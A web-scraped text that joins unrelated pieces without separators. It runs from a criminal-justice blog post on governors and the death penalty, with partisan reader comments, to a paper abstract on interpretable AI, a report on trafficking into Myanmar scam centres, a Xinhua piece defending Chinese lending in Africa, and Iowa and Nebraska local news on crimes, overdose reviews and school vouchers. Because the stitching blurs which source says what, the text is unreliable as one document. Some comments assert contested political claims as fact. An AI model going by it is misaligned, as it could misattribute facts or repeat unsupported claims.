 US Sentencing Commission provides "Public Data Briefing: Proposed 2023 Criminal History Amendment" | Main | "Glass Box Artificial Intelligence in Criminal Justice" 

January 24, 2023

Different approaches to death penalty administration from different governors

When it comes to the administration of the death penalty, governors tend to have a huge (and outsized?) role at the state level. Historically, that role has been exercised through grants of executive clemency, though it can also shape in various ways how death sentencing operates or how executions are conducted. With the start of a new year, I have seen a number of notable new stories about a number of governors seeking to impact how their states approach capital punishment.

From the AP, "Arizona executions on hold amid review ordered by governor":

Arizonas attorney general has put a hold on executions in the state until the completion of a review of death penalty protocols ordered by the new governor due to the states history of mismanaging executions. The review ordered Friday by Gov. Katie Hobbs, Arizonas first Democratic governor since 2009, came as the states new Democratic attorney general, Kris Mayes, withdrew her Republican predecessors request for a warrant to execute a convicted killer who initially asked to be executed but later backed out of that request. While Hobbs order didnt declare a moratorium on the death penalty, Mayes will not seek court orders to execute prisoners while the review is underway, said Mayes spokesperson Richie Taylor.

From the Nashville Scene, "Bill Lee Tries to Keep Lethal Injection Alive: Rather than reconsidering capital punishment, the governor will make leadership changes after a damning investigation into Tennessee executions":

In April of last year, the governor  then the media, then the public  learned that the state had bungled drug testing in the hours leading up to the planned execution of 72-year-old Oscar Franklin Smith. Lee issued a last-minute reprieve for Smith and, days later, suspended executions through 2022, citing technical issues with the states lethal injection process.... On Jan. 9, Frank Strada  previously the deputy director of Arizonas Department of Corrections  assumed the role of commissioner at the Tennessee Department of Correction with an explicit mandate to bring back Tennessee executions.

From Florida Politics, "Gov. DeSantis calls for juror supermajority to suffice in death penalty cases":

Gov. Ron DeSantis started out his week with the Florida Sheriffs Association (FSA), where he discussed his desire to allow juries to administer the death penalty via a supermajority vote, rather than requiring unanimity. Fine, have a supermajority. But you cant just say one person (can decide against the death penalty). So maybe eight out of 12 have to agree? Or something. But we cant be in a situation where one person can just derail this, DeSantis said at the groups winter conference in St. Johns County, discussing death penalty verdicts left unachieved because of a rogue juror. DeSantis told the FSA Monday that he wants a supermajority to constitute a sufficient vote count for execution. The pitch comes in the wake of the Parkland killer not getting the death penalty because of what DeSantis called one persons idiosyncratic approach to the proceedings, though there ultimately were three votes not to execute the murderer.

January 24, 2023 at 10:04 AM | Permalink

Comments

Set dates. Victims need justice.

Man oh man, do Democrats suck: https://www.nationalreview.com/news/fox-news-meteorologist-attacked-on-new-york-city-subway/?utm_source=recirc-desktop&utm_medium=blog-post&utm_campaign=river&utm_content=top-bar-latest&utm_term=fourth

Posted by: federalist | Jan 24, 2023 10:24:20 AM

Go DeSantis!!

Posted by: federalist | Jan 24, 2023 11:07:06 AM

federalist --

DeSantis indeed! Especially since Cotton isn't running. But Cotton will make a great AG.

P.S. You might not have seen the report below, which supports your view about the very questionable role of the FBI in investigating Trump, https://www.dailymail.co.uk/news/article-11667515/Ex-FBI-agent-arrested-links-Russian-oligarch.html

Posted by: Bill Otis | Jan 24, 2023 2:11:00 PM

I saw that article. Crazy, huh?

The suppression of the Hunter Biden laptop story delegitimizes the 2020 election. If something similar happened in an election overseas, the US State Dept would be saying that the election was less than fair and that law enforcement involvement was problematic.

Trump's actions regarding the 2020 election have been selfish, to put it mildly. But he is completely justified in asserting he was screwed. And let's not forget that Joe "I Shower with Ashley" Biden had a hand in the investigation of Flynn which was BS. Remember he agreed with the Logan Act prerequisite . . ..

Posted by: federalist | Jan 24, 2023 2:30:27 PM

Some more DeSantis--for those who care:

https://www.nationalreview.com/news/desantis-cracks-down-on-teachers-unions-proposes-limits-on-leader-pay-dues-collection/

Posted by: federalist | Jan 24, 2023 3:31:42 PM

While there may be something to be argued about why a vote of say 10-2 should suffice to obtain a death sentence, I doubt that it would pass Constitutional muster at the Supreme Court. One notable case from the past where a jury was hung 11 to 1 for the death penalty involved Atlanta attorney Fred Tokars, who had had his wife killed in December 1993, after she threatened to expose him helping his Detroit-based drug dealing clients how to launder money thru Atlanta strip clubs. An 18-year old hired hitman (and crack addict) shot Sara Tokars with a sawed off shotgun from the back seat of her car (she was driving), in front of her two sons, then 4 and 6 years old, who also sat in the front seat. Initially, Tokars was convicted in Federal Court in Atlanta for "murder in aid of racketeering" and received a life sentence. Despite his Federal life sentence without the possibility of parole, Tokars was prosecuted for murder for hire in the Superior Court of Cobb County, Georgia, where prosecutors sought the death penalty. The foreman of the jury apparently lied during voir dire, by saying he was open to the possibility of imposing a death sentence, when, in face, he adamantly opposed the death penalty. He hung the jury 11 to 1 for the death penalty, leaving Tokars with a second life sentence. Tokars, 67 years old, died in Federal prison in May of 2020, after enduring a wasting neurological disease that left him unable to walk for the last 10 years of his life.

Posted by: Jim Gormley | Jan 25, 2023 10:17:49 AM

federalist and Maga mantra: If my candidate wins, the election was eminently fair; if he loses, it was clearly rigged.

Posted by: anon | Jan 25, 2023 10:33:13 AM

I want to correct some factual errors I discovered from my post above. Sara Tokars was actually murdered November 29, 1992, not in 1993, as I wrote above. Second, the Cobb County jury actually hung 10 to 2 in favor of the death penalty for Fred Tokars, not 11 to 1 as I wrote above. Ultimately, the point is the same: one or two jurors should not be able to prevent the others from imposing a death sentence, except the Supreme Court would probably hold that the U. S. Constitution requires a unanimous vote to obtain a death sentence.

Posted by: Jim Gormley | Jan 25, 2023 10:37:59 AM

Wow, anon, so you're saying that an election is on the up and up when law enforcement works to suppress the dissemination of truthful information impacting a candidate?

The 2016 election wasn't fair either, given law enforcement's involvement in the Russia hoax and going easy on Hillary. DJT just overcame that.

Posted by: federalist | Jan 25, 2023 11:04:40 AM

https://townhall.com/tipsheet/leahbarkoukis/2023/01/25/hunter-biden-email-classified-doc-tucker-n2618714

And then there's this.

Posted by: federalist | Jan 25, 2023 11:04:53 AM

Post a comment
 Different approaches to death penalty administration from different governors | Main | "From Causal Mechanisms to Policy Mechanisms: Why Did Crime Decline and What Lessons Can Be Learned from It?" 

The title of this post is the title of this notable new paper available via SSRN authored by Brandon Garrett and Cynthia Rudin. Here is its abstract:

As we embrace data-driven technologies across a wide range of human activities, policymakers and researchers increasingly sound alarms regarding the dangers posed by black box uses of artificial intelligence (AI) to society, democracy, and individual rights. Such models are either too complex for people to understand or they are designed so that their functioning is inaccessible. This lack of transparency can have harmful consequences for the people affected. One central area of concern has been the criminal justice system, in which life, liberty, and public safety can be at stake. Judges have struggled with government claims that AI, such as that used in DNA mixture interpretation, risk assessments, facial recognition, and predictive policing, should remain a black box that is not disclosed to the defense and in court. Both the champions and critics of AI have argued we face a central trade-off: black box AI sacrifices interpretability for predictive accuracy.

We write to counter this black box myth. We describe a body of computer science research showing glass box AI that is interpretable can be more accurate. Indeed, criminal justice data is notoriously error prone, and unless AI is interpretable, those errors can have grave hidden consequences. Our intervention has implications for constitutional criminal procedure rights. Judges have been reluctant to impair perceived effectiveness of black box AI by insisting on the disclosures defendants should be constitutionally entitled to receive. Given the criminal procedure rights and public safety interests at stake, it is especially important that people can understand AI. More fundamentally, we argue that there is no necessary tradeoff between the benefits of AI and the vindication of constitutional rights. Indeed, glass box AI can better accomplish both fairness and public safety goals.
In September, a 20-year-old job seeker from Johor was abducted and forced to eat rats by a scam syndicate operating in Myanmar, where he and 15 other Malaysians were kept in a prison-like facility.

Mohamad Farhan Azman, a resident of Batu Pahat, described his experience to the Malay daily Berita Harian. He claimed that the organization had enticed him and four friends with lucrative hotel jobs in Singapore.

They left the island republic Sept. 13 for Bangkok, where they spent the night in a hotel before being driven to a farm area near the border with Myanmar.

By then we have started to feel that something was amiss. Some people even said that we have been sold. And once we arrived at a river, a group of men forced us to get onto a boat.

After about 20 minutes, we arrived at a location where there were armed men clad in military fatigues waiting. They then told us to get onto several four-wheel-drive vehicles, he told the daily.

Farhan, who was eventually taken to a site in northern Myanmar, was recently rescued and returned home.

The article did not explain why Farhan and his friends had to travel to Bangkok rather than Singapore, where they were supposed to work.

But in recent years, during the pandemic, thousands of people from across Southeast Asia, including many Thais and Malaysians, have been lured by false job promises into bondage. Many originally ended up in Cambodia, held as virtual prisoners and forced to work in scam centers operated by Chinese criminal elements who have since shifted operations to Myanmars border areas, as Coconuts has reported.

Traffickers escape justice over borders as victims go punished at home

The young man claimed that he and other victims were made to sell subpar goods to European customers as a ruse to access their bank accounts.

According to Farhan, once buyers clicked a link to make payment, the criminals would gain access to their bank accounts and siphon their money.

Female victims sexually assaulted

While he was fortunate to be saved and returned home, Farhan claimed that at least 15 other Malaysians were still held at the prison-like facility in KK Garden, located in northern Myanmar, where many similar accounts of captivity have emerged.

Story continues

In December, Malaysian MP Sim Chon Siang visited KK Garden on behalf of those held captive there in a video posted to social media.

Farhan said that female victims were also sexually abused and forced to serve as sex slaves to the members of the syndicate, including the armed men assigned to guard them.

According to Farhan, there were also underage female victims who were sexually exploited.

I do not know how the others are right now because when we were there, the four-story building was covered with barbed wire and there was only one way in and out. It was really like a prison, he said. All of us, who are aged between 18 and 26, were unable to run away as we were closely guarded by the armed men.

It is estimated that some 3,000 Malaysians have been lured to countries like Cambodia, Laos, Myanmar, and Thailand by human trafficking syndicates offering lucrative jobs and are now stranded there.

Al-Ehsan Islamic Welfare Organisation of Malaysia president Muhammad Ridhwan Sulaiman has told reporters that the syndicates also employed Malaysians who acted as agents to find victims.

RELATED:

Chinese scammers hold thousands of Thais captive in Cambodia: police This is the first in a series of stories by Coconuts Bangkok about modern day slavery flourishing across borders in Southeast Asia. Read the second and third. When Nop tried Read more.
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OMAHA -- When someone dies of a drug overdose, family members, friends and others are left to anguish over what went wrong and what might have been done to prevent the tragedy.

A team formed by the Douglas County Health Department and backed by local partner Coalition Rx aims to help prevent such deaths by digging deeper into those questions.

To that end, the Douglas County Overdose Fatality Review team seeks to conduct confidential case reviews of overdose deaths in the county. The aim is to examine cases systematically, looking at what interventions were in place, said Leah Casanave, the Douglas County Health Departments division chief for community health, nutrition and clinical services.

"It's the best place for us to find out what is failing folks," she said. Such reviews also can help indicate whether intervention programs are working as intended.

One challenge for the team has been getting the local data they need to complete the reviews, Patty Falcone, the Health Department's supervisor of health promotion, told the Douglas County Board of Health in October.

The state sends data to the federal Centers for Disease Control and Prevention, Casanave said. But because overdose deaths are not a condition health officials are required to report, like measles and polio, the team can get general data, such as numbers, but no details about individuals. State and federal reports also lag by a year or two.

To help remedy the lack of local data, state Sens. Tony Vargas and Megan Hunt, both of Omaha, introduced a bill (LB570) that would create a template for county-level overdose fatality review teams in the state. The teams would be allowed to obtain and review records and other documentation related to overdoses from "relevant agencies, entities and individuals" while remaining in compliance with confidentiality laws.

"It's important for us to bridge that gap," said Carey Pomykata, executive director and co-founder of Coalition Rx, a local nonprofit working to prevent substance abuse. "We need to have some real-time data when it comes to this."

Available data indicates that overdose deaths have been on the rise, both nationally and in Nebraska. Nationally, the rate of overdose deaths increased by 31% from 2019 to 2020. That year, overdoses killed 91,799 Americans, according to the CDC.

Nebraska recorded 160 drug overdose deaths in 2020, according to CDC's State Unintentional Drug Overdose Reporting System. At least one opportunity for intervention was documented in 53% of those deaths. A potential bystander was present in 30% of deaths, indicating that there may have been an opportunity to provide lifesaving actions.

In 2021, the state recorded 174 overdose deaths. The per capita rate of 9.4 deaths per 100,000 residents was the lowest among the 32 reporting jurisdictions, which included Washington, D.C.

According to the bill, LB570, the local team's review could include the person's points of contact with health care systems, social services, schools, law enforcement, the criminal justice system and other organizations.

Anything discussed by the team, Casanave said, would stay within the team. Prosecutors would not be able to access and use such information.

"We're just trying to find the best way to protect people from future overdoses," she said.

The overdose fatality review team would function similarly to the county health department's Fetal Infant Mortality Review team, which gathers information about infant deaths from medical and public health records. Those records may be supplemented by voluntary interviews with the mother by a public health nurse trained in grief counseling, assessment and community resources.

The team then provides information to the Baby Blossoms Collaborative. That local group, comprised of representatives from up to 40 health and social service organizations, reviews the team's findings to determine whether additional actions might help head off problems in the community. One such step, both nationally and locally, has been successful campaigns to promote safe sleeping positions for babies.

Similarly, the overdose death review team's findings would be shared with a collaborative group created by Coalition Rx, which would look at the data and determine prevention strategies.

Casanave said the Douglas County team, which was funded by the state with federal dollars, is piloting the program. She hopes to see other large counties in the state follow suit.

Pomykata said there are close to 400 overdose fatality review teams across the country. She and Falcone were in Washington, D.C., last week attending a national forum on the topic. Pomykata said they hope to learn what others involved in the work have been through and what they've learned.

"We've got to find out what the gaps in communities are so we can put a stop to this," Pomykata said.

Top Journal Star photos for January 2023
DAKAR/NAIROBI, Jan. 24 (Xinhua) -- U.S. Treasury Secretary Janet Yellen is visiting Senegal, Zambia and South Africa with a purpose said to continue emphasizing cooperation with Africa to counter the growing influence of so-called rivals, including China, on the continent -- the same purpose as that held by other U.S. officials in their intensive visits to Africa in recent months.

But what Yellen may not realize is that when she steps off the plane onto the boarding bridge, she is likely heading to a terminal built by a Chinese company. Her car will also be driving on a road or bridge built by a Chinese contractor. Modern infrastructure built by China can be found almost everywhere in African countries.

The highway between Blaise Diagne International Airport, Mbour and Thies, located about 30 km east of Senegal's capital Dakar, connects several of the country's major cities. Like the Mbour-Fatick-Kaolack highway currently under construction, both road projects are funded by Chinese corporations and they will strengthen Senegal's highway network and connectivity between the coast and the interior.

Senegalese President Macky Sall highlighted the two projects as he thanked China for its continued support for "all the beautiful infrastructure" created under the Plan for an Emerging Senegal, a policy framework including aims to advance the country's road system by 2035.

Sall also expressed his thanks at the inauguration of the Foundiougne Bridge, financed by Senegal and the Export-Import Bank of China. The bridge, considered the longest river bridge in West Africa and built by a Chinese construction company, shortens the distance between the southern Casamance region and the rest of Senegal across the Gambia, strengthening the country's ties with other countries in the sub-region.

During her trip, Yellen boasted that the United States offers a "better and more reliable way" for the continent to grow and prosper and, like her administration, blamed China's practices and investments in Africa and highlighted a so-called "legacy of unsustainable debt."

However, according to a report by the British non-governmental organization Debt Justice, African governments owe three times as much debt to Western private lenders as to China, and these Western lenders charge twice as much interest as China does.

African scholars and economists say the so-called "debt trap" narrative clamoured by the West is unfair to China. "The debt trap issue has been a political smear," said Charles Onunaiju, director of the Nigeria-based Center for China Studies, adding that such claims are just a red herring to absolve the West of any responsibility.

Moreover, Chinese investments in Africa are mainly aimed at building infrastructure and helping the countries strengthen its own sustainable development. Adem Feto, a researcher at Ethiopia's Arsi University, argues that the use of Chinese loans is productive as it targets the infrastructure, health and education sectors.

Chinese Foreign Minister Qin Gang said during his visit in Africa this month that China is an active participant in the Group of 20 (G20) Debt Service Suspension Initiative. China has signed agreements or reached consensuses with 19 African countries on debt relief and has suspended the most debt service payments among G20 members.

He added that China has also engaged in resolving the debt problems of a number of countries, including Zambia, within the G20 framework.

In addition to experts on international relations and economics, African netizens also questioned the accusations made by U.S. officials against China.

One of the issues raised by them on social networks drew a broad consensus: Yellen accuses China for trapping poor African countries in debt. China canceled many debts. What has America done recently for Africa other than whining and bitching?

Despite U.S. claims that the African continent is a key partner in its global value chains, Africa accounts for less than 2 percent of total U.S. import and export trade. U.S. trade with Africa has been declining year after year.

According to the U.S. Census Bureau, the value of overall U.S. exports to Africa dropped from 32.9 billion U.S. dollars in 2011 to 26.7 billion in 2021, while imports have fallen from 93 billion dollars in 2011 to 37.6 billion in 2021. 
SIOUX CITY -- A South Sioux City man has been arrested and charged with breaking out a glass sidelight at Sioux City's federal building.

According to court documents, an individual walked up to the east entrance of the building at 320 Sixth St. at 12:15 p.m. Saturday and struck the glass next to the door with an object several times before the glass shattered.

Building security cameras recorded the incident, and Sioux City police identified the suspect as 33-year-old Dudley Blackbird, who was arrested Monday afternoon and booked into the Woodbury County Jail on a charge of fourth-degree criminal mischief, a serious misdemeanor.

Damage to the building was estimated at $700.
LE MARS, Iowa  A Merrill, Iowa, man sentenced last fall to life in prison for killing his stepson has died in prison.

The Iowa Department of Corrections said Thomas Knapp, 84, died Thursday of natural causes while in hospice at the Iowa Medical and Classification Center, where he had been housed for a chronic illness.

A Plymouth County jury in September found Knapp guilty of first-degree murder and willful injury for the May 11, 2020, shooting death of 51-year-old Kevin Juzek in their rural Merrill home. Knapp also was found guilty of willful injury and two counts of domestic abuse assault for beating his now ex-wife, Darlene Knapp, just before the shooting.

Thomas Knapp was sentenced in October to life in prison without parole.

Darlene Knapp testified at trial that Thomas Knapp was mad at Juzek, blaming him for knocking over a birdbath in their yard. Later that morning, Darlene Knapp said, she went to Thomas Knapp's bedroom, where he punched her in the face and struck her with a wooden exercise bar, breaking her left hand.

Juzek came to the door and closed it after his mother left and held it shut so Thomas Knapp couldn't pursue her. Knapp grabbed a 20-gauge shotgun he kept in his room and shot Juzek through the door, striking him in the abdomen. Juzek staggered into the living room and collapsed on the floor. Knapp came out of his bedroom, walked up to Juzek and shot him a second time in the chest while Darlene Knapp watched.

At trial, jurors heard recordings of Thomas Knapp's interviews with authorities in which he told them Juzek had intentionally aggravated him for years.
SIOUX CITY  A Sioux City man has been formally charged with first-degree murder for fatally shooting his girlfriend.

Woodbury County Attorney James Loomis on Monday filed a trial information charging Austyn Self with first-degree murder and three counts of child endangerment.

Self's arraignment is scheduled for Feb. 3 in Woodbury County District Court. He is being held in the Woodbury County Jail on a $1 million bond.

Self, 23, is accused of shooting 31-year-old Sarah Zoelle on Jan. 14 at 3319 Nebraska St.

Loomis' filing gave no details of the shooting, instead citing Iowa code that Self "... with malice aforethought, willfully, deliberately and with premeditation killed another person ..."

Police were dispatched to the Nebraska Street address at 9:41 p.m. for a reported domestic disturbance after Zoelle called 911 pleading for help. According to court documents, Zoelle told a 911 dispatcher Self was pointing a gun at her, and while she was on the phone, the dispatcher heard a sound that sounded like a gunshot.

Self then picked up the phone and said to the dispatcher, "I shot her," court documents said.

When they arrived at the scene, police officers found Zoelle with a single gunshot wound to her abdomen and still holding a 6-month-old child in her arms. A 4-year-old and a 5-year-old were also in the house.

Zoelle was pronounced dead at a local hospital.

The shooting was the first homicide of 2023 in Sioux City. If found guilty of first-degree murder, Self would face a mandatory sentence of life in prison without parole. Child endangerment is a Class D felony that carries a five-year prison sentence.
SIOUX CITY  The Sioux City Community School District opposes Iowa publicly funding private schools.

The school board approved on Monday a resolution opposing Gov. Kim Reynolds' and Republican lawmakers' proposed state-funded private school financial assistance package. The governor is expected to sign the bill when it arrives at her desk.

The resolution also states the district opposes all forms of educational savings accounts, voucher programs and additional public funds appropriated for private schools.

Carving Iowas education funding pie into more pieces necessarily means a smaller piece of pie for Iowas public-school students, according to the resolution.

The proposed program would offer state funding to any Iowa student who wishes to attend a private school. The student would receive $7,598 every year to be put toward tuition, textbooks, classroom materials and other types of educational programming expenses.

Public schools would lose out on the per-pupil funding for any student who chooses to utilize the program. The school district would get roughly $1,200 in state funding for each student who lives in the district.

The program is estimated to cost more than $340 million annually, with a total cost of $918 million over four years.

Interim Superintendent Rod Earleywine said there are 10 private schools in Woodbury County, which would receive a total of $12.5 million from this program.

All of this with no accountability, no transparency, he said.

School board member Bernie Scolaro said she went to Des Moines on Jan. 17 to speak to the Iowa House for the district against the programs. She said there were about 100 people signed up to speak, but it was cut off at 50. She was still able to speak and share the districts perspective.

The state already has an extensive offering for school choices such as open enrollment, state scholarship support for private school tuition, homeschooling, free virtual schooling and tax credits for tuition and textbook expenses, according to the resolution.

Iowa is ranked 9th out of 50 states in the nation in school choice by the Heritage Foundations Education Freedom Report Card, with this ranking predating the expansion of charter schools, tax credits for home school and elimination of an open enrollment deadline, according to the resolution.
SIOUX CITY  Nine candidates for the open Woodbury County Board of Supervisors seat participated in public interviews on Monday.

Each individual was given time to introduce themselves and answer questions from the committee to appoint.

The applicants are Jeanette Beekman of Pierson; Chad Benson of Lawton; Charles H. Clark of Lawton; John F. Crick of Moville; Nathan Heilman of Correctionville; Willard Brian McNaughton of Lawton; Mark Nelson of Correctionville; Barbara Sloniker of Sioux City; and Todd Wieck of Lawton.

A random order was chosen for the interviews.

The vacant seat was previously held by Rocky De Witt who resigned after being elected to the Iowa Senate.

A committee made up of Treasurer Tina Bertrand, County Attorney James Loomis and Auditor Pat Gill are in charge of the appointment process and conducted the interviews.

An individual will be chosen at 10 a.m. on Tuesday at the board of supervisors meeting. The individual will then be sworn in at 3:15 p.m. the same day.

John F. Crick of Moville is currently retired. He served in the U.S. Navy for four years and served on the Woodbury County Fair Board and Woodbury Central School Board. He is currently on the City of Moville Zoning Board.

Crick worked as the director of the Moville Ambulance and Rescue for 45 years and responded to the Flight 232 crash in 1989. He was part of the team that extracted the pilots from the cockpit.

He said he is fiscally conservative and his experiences on the school board working with the budget and negotiating with people would be beneficial.

Jeanette Beekman of Pierson is currently the city clerk for the City of Pierson and the treasurer of the Pierson Volunteer Fire Department. She is also currently the secretary of the Woodbury County Solid Waste Agency.

Beekman said as a rural resident she believes she could bring a unique perspective to the board, along with her history working in government, especially in the areas of budgets and accounting.

To me, the board of supervisors should be more public service than political, she said.

She said she is someone who digs in and doesnt give up. She is working with the City of Quimby to help them bridge a $70,000 deficit in their budget and manage their finances.

Charles H. Clark of Lawton is a sixth-generation farmer and equipment operator for the Woodbury County Roads Department. If chosen, Clark plans to resign from the roads department.

Clark said many of the skills he uses at his farm are applicable and beneficial to the board, such as working with others, various management skills, and humility.

He said the top asset he would bring to the board is his nine years of experience with the roads department.

I can bring a lot of good insight into what goes on and what they need and maybe why things do fail sometimes prematurely, he said.

One of the areas of the county Clark wants to focus on is improving some of the blacktop roads throughout Woodbury County due to steep embankments and a lack of shoulders. When accidents do occur there, he said it often causes rollovers and sometimes fatalities.

He said he would have to abstain from any discussion of wind turbines as his family has decided to put some on their farm.

Barbara Sloniker of Sioux City is currently the executive vice president of the Siouxland Chamber of Commerce and the director of airport marketing at the Sioux Gateway Airport.

She is currently involved in 10 different board or community organizations. She said if a conflict of interest does arise, she would recuse herself from the vote and said she can juggle the different responsibilities.

She said she has heard from citizens that they want an additional voice with increased perspective and balance, experience, and fiscal discipline, which she believes she is well suited for.

Sloniker said her vision of the county is to have a good quality of life, fiscal discipline and strategic economic development.

Mark Nelson of Correctionville is the owner and operator of Hungry Canyon Cattle Co. and farm manager of Bar N Feedlots.

He is currently involved with eight different community organizations including the Woodbury County Farm Bureau as director and treasurer and the Woodbury County Cattlemens Associate as director and president. If chosen, he would have to step back from leadership roles in both organizations due to their bylaws.

Nelson has been vocal in the county and at Board of Supervisors meetings on a variety of issues, including the wind turbine issue and co-organized the petition against the turbines.

He said he wants to be a servant leader by listening, understanding, having empathy, and opening the conversation for others.

Todd Wieck of Lawton is currently the construction site superintendent at the Woodbury County Law Enforcement Center. He previously worked for 30 years as an employee of the Woodbury County Sheriffs Office and ran for sheriff in 2020.

His father is Ron Wieck, chair of the Woodbury County Law Enforcement Center Authority.

Wieck said he has spoken with his current employer, The Baker Group, and was told they would work around the supervisors schedule if selected.

He said he knows every corner of the county and wants to continue to serve the residents.

I pride myself in not making snap judgments, I believe in building sustainable budgets without cutting services, I will promise to be the voice for the rural part of this county, he said.

Nathan Heilman of Correctionville currently works for Diamond Insulation. He served Correctionville in a variety of roles including council member, mayor pro-tem and mayor until 2021.

He said he did not rerun for mayor, and decided to take time away from politics, but said he missed it. While mayor he attended a variety of board and commission meetings including the 911 commission, emergency management, assessor budget meetings and area solid waste board.

He said economic development is a huge need for small towns. He said many of the small towns need direction on what they need to do to be more attractive.

Chad Benson of Lawton is currently a teacher with the Sioux City Community School District.

He said he has no political or personal agenda and only wants to serve on the board and help taxpayers. He said he wants to allocate the tax dollars where it has the best impact on the county.

He does not support wind turbines or pipelines, he wants to keep the county beautiful and safe for future generations.

Benson said access to mental health is an issue that faces Woodbury County residents and is an area he wants to dig into as a supervisor.

Willard Brian McNaughton of Lawton is the owner of Macs HVAC Sheet Metal Shop and owner of EchoPoint Learning. He is currently a Banner Township Trustee.

McNaughton wants to focus on the Woodbury County Law Enforcement Center, increase social programs and intervention programs, rural development, support the rural ambulance and fire departments,

He said he would prioritize these issues by first focusing on what the county is currently doing, second would be making easy changes, and the third would be to start a project in advance, instead of after they are needed.

Heilman and McMaughton ran with De Witt and four others for the seat in 2016.
OMAHA -- The Omaha Police Department mishandled an internal investigation that led to the firing of Capt. Kathy Belcastro-Gonzalez, an arbitrator concluded in a decision that has led to her partial reinstatement.

The arbitrator found that the city violated its labor contract with the Omaha Police Officers Association by not giving Belcastro-Gonzalez proper notice before police interviewed her as part of the investigation last year.

As a result of the decision, the city has vacated Police Chief Todd Schmaderer's firing of Belcastro-Gonzalez in 2022, while she was suing the city in federal court. She eventually prevailed in her court case in September when a federal jury found that Schmaderer had passed her over for promotion to deputy chef in retaliation for her having filed a gender discrimination and harassment complaint with the Mayor's Office in the past. The city is expected to appeal that ruling.

The arbitrator's decision, issued earlier this month, does not mean that Belcastro-Gonzalez is back to work on the police force. She is back on paid administrative leave, the same status she held last year during the botched investigation. And Schmaderer might fire her again.

"The arbitrator determined that we could not consider the two interviews of Katherine Belcastro-Gonzalez that took place in February of 2022," Deputy City Attorney Bernard in den Bosch said by email. "When a party is the subject of an internal investigation for inappropriate conduct, we believe that it is important to give that person an opportunity to respond to the allegations. The police department intends to re-interview her on the allegations of her inappropriate conduct. After that interview, the chief will consider the interview and the rest of the investigation and make a decision."

An attorney for Belcastro-Gonzalez, Ted Boecker, said that there is no merit to the city's claims and that he hopes the city will "just allow her to return to her position without any further harassment."

"We think that this entire process is retaliatory," Boecker said. "Any further investigation from our perspective would seem to us to be in retaliation for the verdict that Kathy obtained against the city and Chief Schmaderer."

It's unclear if Belcastro-Gonzalez would want to return to actively work for the Police Department. She is currently working as associate director for security at Creighton University, a job she took in May. She could not be reached for comment for this article.

Belcastro-Gonzalez was put on administrative leave in January 2022 because of an internal affairs investigation regarding alleged violations that the Police Department did not disclose at the time. According to court documents, the city alleged that Belcastro-Gonzalez forwarded emails, containing confidential personnel information, from her city email account to her personal email account.

Schmaderer recommended in May that Belcastro-Gonzalez be fired. Her termination took effect in July.

As a member of the Omaha Police Officers Association, Belcastro-Gonzalez was covered by that union's collective bargaining agreement with the city. She filed a grievance alleging that her rights under the contract had been violated.

The arbitrator ruled that the city violated certain provisions of the collective bargaining agreement in the interview process. The city failed to give Belcastro-Gonzalez specific information about the allegations against her in its notice to her to appear to be interviewed. The city also did not give her notice that another person, the city labor relations director, would be present during the interview.

The arbitrator concluded that because of the violations, it was as if the interview never happened, and "the city must start over in their investigation," Boecker wrote in a subsequent lawsuit.

The arbitrator's decision left the door open for the city to take disciplinary action against Belcastro-Gonzalez. The police union's contract with the city requires that any disciplinary action must be imposed within 100 days after the alleged violation. But the arbitrator ruled that the time between the February 2022 interview and the arbitrator's decision should not count toward the 100 days.

"So there's another opportunity to properly notice her in and to re-do the interview," in den Bosch said.

Boecker filed a lawsuit in Douglas County District Court this week challenging the arbitrator's decision about the 100-day time period.

Top Journal Star photos for January 2023
Surrounded by school-choice advocates and private school students, Iowa Gov. Kim Reynolds signed an expansive private school education assistance bill into law on Tuesday.

The bill is the culmination of a 3-year effort and notches an early victory in the governor's top legislative priorities of the session.

All public school students and thousands of private school students now are eligible to receive a $7,600 education savings account to pay for tuition and other expenses at a private school. The program is expected to cost $107 million in the first year. By fiscal year 2027, the money will be open to all students in public and private schools, regardless of income, and is expected to cost $345 million.

It was the first bill of the legislative session to be signed into law after a flurry of activity over the first two weeks to advance it to Reynolds desk.

For the first time, were funding students instead of a system, Reynolds said. Were rejecting the idea that the answer to improving education is simply throwing more money into the same system.

Opponents of the law say it will siphon money out of public schools, fund non-accountable private institutions, and argue private schools could turn away students with disabilities or families whose values dont align with theirs.

In hours of floor debate Monday night, Democrats told stories of students with disabilities who were turned away from private schools and said much of the money would go to wealthy families who already pay for private school.

The bill passed in both the House and the Senate on Monday night and early Tuesday morning. It passed 55-45 in the House, where all Democrats and nine Republicans voted against it. In the Senate, it passed 31-18. Three Republicans joined all present Democrats in voting against it. Democratic Sen. Tony Bisignano of Des Moines was not present.

The bill will divert essential funds from 92 percent of our student population and send the funds to just a select population of students admitted into private schools, Iowa State Education Association President Mike Beranek said in a statement. Tonight, some legislators ignored the wishes of most Iowans and voted to spend taxpayer money on private interests.

Reynolds said the program is not at odds with public schools. She acknowledged the vast majority of students are expected to remain in public schools and said the bill will allow school districts more freedom to use their state funds.

Public schools are the foundation of our educational system, Reynolds said. And for most families, theyll continue to be the option of choice. But they arent the only choice. And for some families, a different path may be better for their children.

Public school districts will receive about $1,200 for each student living in that district who is enrolled in a private school. The law also allows schools to use unspent categorical funding designated for other purposes to increase teacher salaries. Supporters say that change will give public schools more flexibility on how to spend state dollars.

I was trying to figure out, how can we provide them flexibility  especially in rural Iowa, to be able to increase salaries so that we can be competitive? Reynolds told reporters after signing the bill. What we saw when we were looking at that was over $100 million in unspent funding.

Supporters celebrate passage

Trish Wilger, the executive director of Iowa Alliance for Choice in Education, said she was excited to see the bill signed into law. Wilgers organization was advocating for a universal education savings account system before the legislative session began.

We worked on it so long and so hard that it doesnt seem quite real yet, but Im just thrilled for the opportunities its going to bring to Iowa families, she said.

The law will provide choice for parents who want to send their children to a nonpublic school but dont have the financial ability to do so, Wilger said, as well as parents with children in private school who are struggling to afford it.

Wilger acknowledged some families with high incomes may apply for the money, but she said it mirrors the public school system, in which students receive the same services, regardless of income.

We feel that this is a similar kind of scenario, where the funding is following the student and not going to the institution, she said.

Dan Zylstra, the head of schools for Pella Christian Schools, argued that the law will not have a negative impact on rural schools. He was a superintendent at a public school in Indiana, which has a more limited private school scholarship program, and he said that program did not hurt public schools.

School choice did not decimate my rural public school district, he said. A few students drove 30 miles to the closest Christian school  but the vast majority of students and families loved and stayed in our school.

But not everyone in the Capitol was in support on Tuesday morning. During Reynolds remarks in the rotunda, Sen. Claire Celsi, a Democrat from West Des Moines, yelled nobody wants vouchers and rural Iowa doesnt want vouchers from the second floor of the Capitol.

Up next

Reynolds said the state will release a request for proposals on Tuesday for a third-party company to administer the state program. Parents will be able to sign up for updates on a new state website that will go online Tuesday.

